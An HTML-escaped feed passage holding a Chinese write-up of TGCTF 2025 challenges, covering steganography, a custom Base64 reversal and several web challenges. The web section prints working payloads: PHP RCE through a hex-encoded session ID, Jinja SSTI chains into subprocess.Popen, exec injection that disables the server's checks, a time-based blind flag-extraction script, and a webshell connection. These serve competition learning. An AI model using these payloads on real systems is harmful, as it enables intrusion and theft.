&amp;ldquo;_blank)&lt;/p&gt;&#xA;&lt;h3 id=&#34;你能发现图中的秘密吗&#34;&gt;你能发现图中的秘密吗？&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%bd%a0%e8%83%bd%e5%8f%91%e7%8e%b0%e5%9b%be%e4%b8%ad%e7%9a%84%e7%a7%98%e5%af%86%e5%90%97&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;给了一个压缩包+一张图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/c9159541-0bd7-48da-a0d3-d49fdae87153.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;图片存在lsb key=i_1ove_y0u 是压缩包密码&lt;/p&gt;&#xA;&lt;p&gt;解压出一张图片一个PDF&lt;/p&gt;&#xA;&lt;p&gt;PDF用ps打开&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/9094aa78-70fb-482b-987a-f42284a1c4ea.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;存在flag图层 是flag2&lt;img src=&#34;upload/Image/b0a12bb6-8bfa-4b40-b5c1-047799992ff5.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;查看另一张图片的IDAT结构&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/975f517f-dc21-4c55-b402-de7146520dfa.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现最后一个IDAT块巨大无比 可能是藏了一张图片 删掉其他的IDAT块后爆破宽高&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/f780b62c-d5d1-4298-8d91-a012b9595816.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;TGCTF{you_are_so_attentive_and_conscientious}&lt;/p&gt;&#xA;&lt;h3 id=&#34;teamgipsyctfer&#34;&gt;TeamGipsy&amp;amp;ctfer&lt;a class=&#34;heading-anchor&#34; href=&#34;#teamgipsyctfer&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;唯一一道取证题，但是感觉也不大像取证 最难的地方在于从百度网盘下载&lt;/p&gt;&#xA;&lt;p&gt;DiskGenius挂载一下硬盘&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/ec7e7cd9-190c-4bd5-88e6-b6dfde856a68.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;在桌面找到一个mimi.txt&lt;/p&gt;&#xA;&lt;h2 id=&#34;reverse&#34;&gt;Reverse&lt;a class=&#34;heading-anchor&#34; href=&#34;#reverse&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;base64&#34;&gt;Base64&lt;a class=&#34;heading-anchor&#34; href=&#34;#base64&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;IDA分析代码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e185e019-d4d5-4e57-b2be-112b1d8c1a96.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;初步判断是一个自定义的Base64码表 跟进函数sub_1400010E0查看具体如何实现&lt;/p&gt;&#xA;&lt;p&gt;太长了 丢给deepseek&lt;/p&gt;&#xA;&lt;h3 id=&#34;分析&#34;&gt;分析&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%88%86%e6%9e%90&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;自定义Base64编码表：题目中使用了一个自定义的Base64编码表GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;编码逻辑：每个6位值x被转换为编码表中的索引(x + 24) % 64。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;解码逻辑：解码时需要将每个字符的索引转换为(索引 - 24) % 64，然后将这些6位值组合成原始字节。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;custom_base64_table = &amp;ldquo;GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;table = {char: idx for idx, char in enumerate(custom_base64_table)}&lt;/p&gt;&#xA;&lt;p&gt;def decode_custom_base64(encoded):&lt;/p&gt;&#xA;&lt;p&gt;encoded = encoded.rstrip(&amp;rsquo;=&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;decoded_bytes = []&lt;/p&gt;&#xA;&lt;p&gt;for c in encoded:&lt;/p&gt;&#xA;&lt;p&gt;if c not in table:&lt;/p&gt;&#xA;&lt;p&gt;raise ValueError(f&amp;quot;Invalid character: {c}&amp;rdquo;)&lt;/p&gt;&#xA;&lt;p&gt;index = table[c]&lt;/p&gt;&#xA;&lt;p&gt;x = (index - 24) % 64&lt;/p&gt;&#xA;&lt;p&gt;decoded_bytes.append(x)&lt;/p&gt;&#xA;&lt;p&gt;# 将6位数值转换为二进制字符串&lt;/p&gt;&#xA;&lt;p&gt;bit_str = &amp;lsquo;&amp;rsquo;.join([bin(b)[2:].zfill(6) for b in decoded_bytes])&lt;/p&gt;&#xA;&lt;p&gt;# 将二进制字符串转换为字节&lt;/p&gt;&#xA;&lt;p&gt;byte_arr = bytearray()&lt;/p&gt;&#xA;&lt;p&gt;for i in range(0, len(bit_str), 8):&lt;/p&gt;&#xA;&lt;p&gt;byte = bit_str[i:i+8]&lt;/p&gt;&#xA;&lt;p&gt;if len(byte) &amp;lt; 8:&lt;/p&gt;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&lt;p&gt;byte_arr.append(int(byte, 2))&lt;/p&gt;&#xA;&lt;p&gt;return bytes(byte_arr)&lt;/p&gt;&#xA;&lt;p&gt;encoded_str = &amp;ldquo;AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;decoded_data = decode_custom_base64(encoded_str)&lt;/p&gt;&#xA;&lt;p&gt;flag = decoded_data&lt;/p&gt;&#xA;&lt;p&gt;print(flag.decode())&lt;/p&gt;&#xA;&lt;p&gt;HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}&lt;/p&gt;&#xA;&lt;h2 id=&#34;web&#34;&gt;Web&lt;a class=&#34;heading-anchor&#34; href=&#34;#web&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;tg_wordpress&#34;&gt;TG_wordpress&lt;a class=&#34;heading-anchor&#34; href=&#34;#tg_wordpress&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;四个方向都可以拿hint 挑最简单的了&lt;/p&gt;&#xA;&lt;p&gt;.DS_Store泄露 拿到RSA密钥和密文 解出wp账密&lt;/p&gt;&#xA;&lt;p&gt;登录后看到插件有file manager 一眼丁真了&lt;/p&gt;&#xA;&lt;h3 id=&#34;aaa偷渡阴平&#34;&gt;AAA偷渡阴平&lt;a class=&#34;heading-anchor&#34; href=&#34;#aaa%e5%81%b7%e6%b8%a1%e9%98%b4%e5%b9%b3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;非预期解了&lt;/p&gt;&#xA;&lt;p&gt;Payload：tgctf2025=chdir(DIRECTORY_SEPARATOR);highlight_file(flag);&lt;/p&gt;&#xA;&lt;h3 id=&#34;aaa偷渡阴平复仇&#34;&gt;AAA偷渡阴平（复仇）&lt;a class=&#34;heading-anchor&#34; href=&#34;#aaa%e5%81%b7%e6%b8%a1%e9%98%b4%e5%b9%b3%e5%a4%8d%e4%bb%87&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;SESSION和2没被waf&lt;/p&gt;&#xA;&lt;p&gt;参考：[RCE篇之无参数rce](&lt;a href=&#34;https://www.cnblogs.com/pursue-security/p/15406272.html%22&#34;&gt;https://www.cnblogs.com/pursue-security/p/15406272.html&amp;quot;&lt;/a&gt; \t &amp;ldquo;_blank)&lt;/p&gt;&#xA;&lt;p&gt;对命令文本转换为16进制&lt;/p&gt;&#xA;&lt;p&gt;cat /flag =&amp;gt; 636174202f666c6167&lt;/p&gt;&#xA;&lt;p&gt;Payload：tgctf2025=session_start();system(hex2bin(session_id()));&lt;/p&gt;&#xA;&lt;p&gt;set Cookie：PHPSESSID=636174202f666c6167&lt;/p&gt;&#xA;&lt;h3 id=&#34;直面天命&#34;&gt;直面天命&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%9b%b4%e9%9d%a2%e5%a4%a9%e5%91%bd&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;非预期&lt;/p&gt;&#xA;&lt;p&gt;提示爆破4字母路由 找到 /aazz&lt;/p&gt;&#xA;&lt;p&gt;可以传参 爆破出参数 filename&lt;/p&gt;&#xA;&lt;p&gt;Payload：filename=/flag&lt;/p&gt;&#xA;&lt;h3 id=&#34;直面天命复仇&#34;&gt;直面天命（复仇）&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%9b%b4%e9%9d%a2%e5%a4%a9%e5%91%bd%e5%a4%8d%e4%bb%87&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;访问/aazz 拿到题目源码 审计代码&lt;/p&gt;&#xA;&lt;p&gt;import os&lt;/p&gt;&#xA;&lt;p&gt;import string&lt;/p&gt;&#xA;&lt;p&gt;from flask import Flask, request, render_template_string, jsonify, send_from_directory&lt;/p&gt;&#xA;&lt;p&gt;from a.b.c.d.secret import secret_key&lt;/p&gt;&#xA;&lt;p&gt;app = Flask(__name__)&lt;/p&gt;&#xA;&lt;p&gt;black_list=[&amp;rsquo;lipsum&amp;rsquo;,&amp;rsquo;|&amp;rsquo;,&amp;rsquo;%&amp;rsquo;,&amp;rsquo;{&amp;rsquo;,&amp;rsquo;}&amp;rsquo;,&amp;lsquo;map&amp;rsquo;,&amp;lsquo;chr&amp;rsquo;, &amp;lsquo;value&amp;rsquo;, &amp;lsquo;get&amp;rsquo;, &amp;ldquo;url&amp;rdquo;, &amp;lsquo;pop&amp;rsquo;,&amp;lsquo;include&amp;rsquo;,&amp;lsquo;popen&amp;rsquo;,&amp;lsquo;os&amp;rsquo;,&amp;lsquo;import&amp;rsquo;,&amp;rsquo;eval&amp;rsquo;,&amp;rsquo;_&amp;rsquo;,&amp;lsquo;system&amp;rsquo;,&amp;lsquo;read&amp;rsquo;,&amp;lsquo;base&amp;rsquo;,&amp;lsquo;globals&amp;rsquo;,&amp;rsquo;_.&amp;rsquo;,&amp;lsquo;set&amp;rsquo;,&amp;lsquo;application&amp;rsquo;,&amp;lsquo;getitem&amp;rsquo;,&amp;lsquo;request&amp;rsquo;, &amp;lsquo;+&amp;rsquo;, &amp;lsquo;init&amp;rsquo;, &amp;lsquo;arg&amp;rsquo;, &amp;lsquo;config&amp;rsquo;, &amp;lsquo;app&amp;rsquo;, &amp;lsquo;self&amp;rsquo;]&lt;/p&gt;&#xA;&lt;p&gt;def waf(name):&lt;/p&gt;&#xA;&lt;p&gt;for x in black_list:&lt;/p&gt;&#xA;&lt;p&gt;if x in name.lower():&lt;/p&gt;&#xA;&lt;p&gt;return True&lt;/p&gt;&#xA;&lt;p&gt;return False&lt;/p&gt;&#xA;&lt;p&gt;def is_typable(char):&lt;/p&gt;&#xA;&lt;p&gt;# 定义可通过标准 QWERTY 键盘输入的字符集&lt;/p&gt;&#xA;&lt;p&gt;typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace&lt;/p&gt;&#xA;&lt;p&gt;return char in typable_chars&lt;/p&gt;&#xA;&lt;p&gt;@app.route(&amp;rsquo;/&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;def home():&lt;/p&gt;&#xA;&lt;p&gt;return send_from_directory(&amp;lsquo;static&amp;rsquo;, &amp;lsquo;index.html&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;@app.route(&amp;rsquo;/jingu&amp;rsquo;, methods=[&amp;lsquo;POST&amp;rsquo;])&lt;/p&gt;&#xA;&lt;p&gt;def greet():&lt;/p&gt;&#xA;&lt;p&gt;template1=&amp;rdquo;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;template2=&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;name = request.form.get(&amp;rsquo;name&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;template = f&amp;rsquo;{name}&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;if waf(name):&lt;/p&gt;&#xA;&lt;p&gt;template = &amp;lsquo;想干坏事了是吧hacker？哼，还天命人，可笑，可悲，可叹&lt;/p&gt;&#xA;&lt;p&gt;Image&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;k=0&lt;/p&gt;&#xA;&lt;p&gt;for i in name:&lt;/p&gt;&#xA;&lt;p&gt;if is_typable(i):&lt;/p&gt;&#xA;&lt;p&gt;continue&lt;/p&gt;&#xA;&lt;p&gt;k=1&lt;/p&gt;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&lt;p&gt;if k==1:&lt;/p&gt;&#xA;&lt;p&gt;if not (secret_key[:2] in name and secret_key[2:]):&lt;/p&gt;&#xA;&lt;p&gt;template = &amp;lsquo;连“六根”都凑不齐，谈什么天命不天命的，还是戴上这金箍吧&lt;/p&gt;&#xA;&lt;p&gt;再去西行历练历练&lt;/p&gt;&#xA;&lt;p&gt;Image&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;return render_template_string(template)&lt;/p&gt;&#xA;&lt;p&gt;template1 = &amp;ldquo;“六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}}”&lt;/p&gt;&#xA;&lt;p&gt;最后，如果你用了cat，就可以见到齐天大圣了&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;template= template.replace(&amp;ldquo;天命&amp;rdquo;,&amp;rdquo;{{&amp;quot;).replace(&amp;ldquo;难违&amp;rdquo;,&amp;quot;}}&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;template = template&lt;/p&gt;&#xA;&lt;p&gt;if &amp;ldquo;cat&amp;rdquo; in template:&lt;/p&gt;&#xA;&lt;p&gt;template2 = &#39;&lt;/p&gt;&#xA;&lt;p&gt;或许你这只叫天命人的猴子，真的能做到？&lt;/p&gt;&#xA;&lt;p&gt;Image&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&lt;p&gt;return template1+render_template_string(template)+render_template_string(template2)&lt;/p&gt;&#xA;&lt;p&gt;except Exception as e:&lt;/p&gt;&#xA;&lt;p&gt;error_message = f&amp;quot;500报错了，查询语句如下：&lt;/p&gt;&#xA;&lt;p&gt;{template}&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;return error_message, 400&lt;/p&gt;&#xA;&lt;p&gt;@app.route(&amp;rsquo;/hint&amp;rsquo;, methods=[&amp;lsquo;GET&amp;rsquo;])&lt;/p&gt;&#xA;&lt;p&gt;def hinter():&lt;/p&gt;&#xA;&lt;p&gt;template=&amp;ldquo;hint：&lt;/p&gt;&#xA;&lt;p&gt;有一个aazz路由，去那里看看吧，天命人!&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;return render_template_string(template)&lt;/p&gt;&#xA;&lt;p&gt;@app.route(&amp;rsquo;/aazz&amp;rsquo;, methods=[&amp;lsquo;GET&amp;rsquo;])&lt;/p&gt;&#xA;&lt;p&gt;def finder():&lt;/p&gt;&#xA;&lt;p&gt;with open(__file__, &amp;lsquo;r&amp;rsquo;) as f:&lt;/p&gt;&#xA;&lt;p&gt;source_code = f.read()&lt;/p&gt;&#xA;&lt;p&gt;return f&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;{source_code}&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;, 200, {&amp;lsquo;Content-Type&amp;rsquo;: &amp;rsquo;text/html; charset=utf-8&amp;rsquo;}&lt;/p&gt;&#xA;&lt;p&gt;if __name__ == &amp;lsquo;__main__&amp;rsquo;:&lt;/p&gt;&#xA;&lt;p&gt;app.run(host=&amp;lsquo;0.0.0.0&amp;rsquo;, port=80)&lt;/p&gt;&#xA;&lt;p&gt;SSTI题目&lt;/p&gt;&#xA;&lt;p&gt;template1 = &amp;ldquo;“六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}} 最后，如果你用了cat，就可以见到齐天大圣了&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;template= template.replace(&amp;ldquo;天命&amp;rdquo;,&amp;rdquo;{{&amp;quot;).replace(&amp;ldquo;难违&amp;rdquo;,&amp;quot;}}&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;可以看出 secret_key 是 天命难违&lt;/p&gt;&#xA;&lt;p&gt;Hex绕过waf&lt;/p&gt;&#xA;&lt;p&gt;获取模块列表 找到subprocess.Popen 索引为351&lt;/p&gt;&#xA;&lt;p&gt;POST：name=天命[][&amp;quot;\x5f\x5fclass\x5f\x5f&amp;quot;][&amp;quot;\x5f\x5fmro\x5f\x5f&amp;quot;][1][&amp;quot;\x5f\x5fsubclasses\x5f\x5f&amp;quot;]()难违&lt;/p&gt;&#xA;&lt;p&gt;POST：name=天命[][&amp;quot;\x5f\x5fclass\x5f\x5f&amp;quot;][&amp;quot;\x5f\x5fmro\x5f\x5f&amp;quot;][1]+[&amp;quot;\x5f\x5fsubclasses\x5f\x5f&amp;quot;]()[351](&amp;rsquo;ls &amp;lsquo;,shell=True,stdout=-1).communicate()[0]难违&lt;/p&gt;&#xA;&lt;p&gt;POST：name=天命[][&amp;quot;\x5f\x5fclass\x5f\x5f&amp;quot;][&amp;quot;\x5f\x5fmro\x5f\x5f&amp;quot;][1]+[&amp;quot;\x5f\x5fsubclasses\x5f\x5f&amp;quot;]()[351](&amp;lsquo;cat tgffff11111aaaagggggggg&amp;rsquo;,shell=True,stdout=-1).communicate()[0]难违&lt;/p&gt;&#xA;&lt;h3 id=&#34;熟悉的配方熟悉的味道&#34;&gt;熟悉的配方，熟悉的味道&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%86%9f%e6%82%89%e7%9a%84%e9%85%8d%e6%96%b9%e7%86%9f%e6%82%89%e7%9a%84%e5%91%b3%e9%81%93&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;from pyramid.config import Configurator&lt;/p&gt;&#xA;&lt;p&gt;from pyramid.request import Request&lt;/p&gt;&#xA;&lt;p&gt;from pyramid.response import Response&lt;/p&gt;&#xA;&lt;p&gt;from pyramid.view import view_config&lt;/p&gt;&#xA;&lt;p&gt;from wsgiref.simple_server import make_server&lt;/p&gt;&#xA;&lt;p&gt;from pyramid.events import NewResponse&lt;/p&gt;&#xA;&lt;p&gt;import re&lt;/p&gt;&#xA;&lt;p&gt;from jinja2 import Environment, BaseLoader&lt;/p&gt;&#xA;&lt;p&gt;eval_globals = { #防止eval执行恶意代码&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;__builtins__&amp;rsquo;: {}, # 禁用所有内置函数&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;__import__&amp;rsquo;: None # 禁止动态导入&lt;/p&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;p&gt;def checkExpr(expr_input):&lt;/p&gt;&#xA;&lt;p&gt;expr = re.split(r&amp;quot;[-+*/]&amp;quot;, expr_input)&lt;/p&gt;&#xA;&lt;p&gt;print(exec(expr_input))&lt;/p&gt;&#xA;&lt;p&gt;if len(expr) != 2:&lt;/p&gt;&#xA;&lt;p&gt;return 0&lt;/p&gt;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&lt;p&gt;int(expr[0])&lt;/p&gt;&#xA;&lt;p&gt;int(expr[1])&lt;/p&gt;&#xA;&lt;p&gt;except:&lt;/p&gt;&#xA;&lt;p&gt;return 0&lt;/p&gt;&#xA;&lt;p&gt;return 1&lt;/p&gt;&#xA;&lt;p&gt;def home_view(request):&lt;/p&gt;&#xA;&lt;p&gt;expr_input = &amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;result = &amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;if request.method == &amp;lsquo;POST&amp;rsquo;:&lt;/p&gt;&#xA;&lt;p&gt;expr_input = request.POST[&amp;rsquo;expr&amp;rsquo;]&lt;/p&gt;&#xA;&lt;p&gt;if checkExpr(expr_input):&lt;/p&gt;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&lt;p&gt;result = eval(expr_input, eval_globals)&lt;/p&gt;&#xA;&lt;p&gt;except Exception as e:&lt;/p&gt;&#xA;&lt;p&gt;result = e&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;result = &amp;ldquo;爬！&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;template_str = 【xxx】&lt;/p&gt;&#xA;&lt;p&gt;env = Environment(loader=BaseLoader())&lt;/p&gt;&#xA;&lt;p&gt;template = env.from_string(template_str)&lt;/p&gt;&#xA;&lt;p&gt;rendered = template.render(expr_input=expr_input, result=result)&lt;/p&gt;&#xA;&lt;p&gt;return Response(rendered)&lt;/p&gt;&#xA;&lt;p&gt;if __name__ == &amp;lsquo;__main__&amp;rsquo;:&lt;/p&gt;&#xA;&lt;p&gt;with Configurator() as config:&lt;/p&gt;&#xA;&lt;p&gt;config.add_route(&amp;lsquo;home_view&amp;rsquo;, &amp;lsquo;/&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;config.add_view(home_view, route_name=&amp;lsquo;home_view&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;app = config.make_wsgi_app()&lt;/p&gt;&#xA;&lt;p&gt;server = make_server(&amp;lsquo;0.0.0.0&amp;rsquo;, 9040, app)&lt;/p&gt;&#xA;&lt;p&gt;server.serve_forever()&lt;/p&gt;&#xA;&lt;h4 id=&#34;内存马&#34;&gt;内存马&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%86%85%e5%ad%98%e9%a9%ac&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;审计代码 发现 checkExpr函数中存在一行print(exec(expr_input))且无校验&lt;/p&gt;&#xA;&lt;p&gt;按顺序执行两条命令 直接覆盖掉检测&lt;/p&gt;&#xA;&lt;p&gt;global eval_globals; eval_globals = {} #覆盖黑名单&lt;/p&gt;&#xA;&lt;p&gt;global checkExpr; checkExpr = lambda x: 1 #HOOK检测函数，使其永远返回1&lt;/p&gt;&#xA;&lt;p&gt;RCE&lt;/p&gt;&#xA;&lt;p&gt;__import__(&amp;lsquo;os&amp;rsquo;).popen(&amp;rsquo;ls /&amp;rsquo;).readlines()&lt;/p&gt;&#xA;&lt;p&gt;__import__(&amp;lsquo;os&amp;rsquo;).popen(&amp;lsquo;cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk&amp;rsquo;).readlines()&lt;/p&gt;&#xA;&lt;h4 id=&#34;ssti-时间报错-盲注&#34;&gt;SSTI 时间/报错 盲注&lt;a class=&#34;heading-anchor&#34; href=&#34;#ssti-%e6%97%b6%e9%97%b4%e6%8a%a5%e9%94%99-%e7%9b%b2%e6%b3%a8&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;import requests as request&lt;/p&gt;&#xA;&lt;p&gt;import string&lt;/p&gt;&#xA;&lt;p&gt;import time&lt;/p&gt;&#xA;&lt;p&gt;url=&amp;lsquo;http://127.0.0.1:8102/&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;flag =&amp;rsquo;&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;for i in 64(100):&lt;/p&gt;&#xA;&lt;p&gt;for char in string.printable:&lt;/p&gt;&#xA;&lt;p&gt;code = f&amp;quot;&amp;ldquo;&amp;ldquo;import os&lt;/p&gt;&#xA;&lt;p&gt;import time&lt;/p&gt;&#xA;&lt;p&gt;t = os.popen(&amp;lsquo;cat /fl*&amp;rsquo;).read()&lt;/p&gt;&#xA;&lt;p&gt;if len(t)&amp;gt;{i} and t[{i}]==&amp;rsquo;{char}&amp;rsquo;:&lt;/p&gt;&#xA;&lt;p&gt;time.sleep(2)&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&amp;rdquo;&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;startTime = time.time()&lt;/p&gt;&#xA;&lt;p&gt;request.post(url, data={&amp;rsquo;expr&amp;rsquo;: code})&lt;/p&gt;&#xA;&lt;p&gt;endTime = time.time()&lt;/p&gt;&#xA;&lt;p&gt;if endTime - startTime &amp;gt;= 2:&lt;/p&gt;&#xA;&lt;p&gt;flag += char&lt;/p&gt;&#xA;&lt;p&gt;print(char, end=&amp;rsquo;&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;continue&lt;/p&gt;&#xA;&lt;p&gt;print(&amp;rsquo;\nFound flag:&amp;rsquo;, flag)&lt;/p&gt;&#xA;&lt;h3 id=&#34;前端game--plus--ultra&#34;&gt;前端GAME / PLUS / ULTRA&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%89%8d%e7%ab%afgame--plus--ultra&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;三个CVE&lt;/p&gt;&#xA;&lt;p&gt;[Vite Dev Server Vulnerability Scanner](&lt;a href=&#34;https://github.com/xuemian168/CVE-2025-30208/%22&#34;&gt;https://github.com/xuemian168/CVE-2025-30208/&amp;quot;&lt;/a&gt; \t &amp;ldquo;_blank)&lt;/p&gt;&#xA;&lt;h3 id=&#34;火眼辩魑魅&#34;&gt;火眼辩魑魅&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%81%ab%e7%9c%bc%e8%be%a9%e9%ad%91%e9%ad%85&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;/robots.txt&lt;/p&gt;&#xA;&lt;p&gt;User-Agent: *&lt;br&gt;&#xA;Disallow: tgupload.php&lt;br&gt;&#xA;Disallow: tgshell.php&lt;br&gt;&#xA;Disallow: tgxff.php&lt;br&gt;&#xA;Disallow: tgser.php&lt;br&gt;&#xA;Disallow: tgphp.php&lt;br&gt;&#xA;Disallow: tginclude.php&lt;/p&gt;&#xA;&lt;p&gt;tgshell.php 蚁剑直接连&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/9b8d6874-25a8-447a-b1e6-07c4dcbc79bc.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>MISC 入门指北</title>
      <link>https://new.mnzn.me/posts/misc-%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/</link>
      <pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/misc-%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97/</guid>
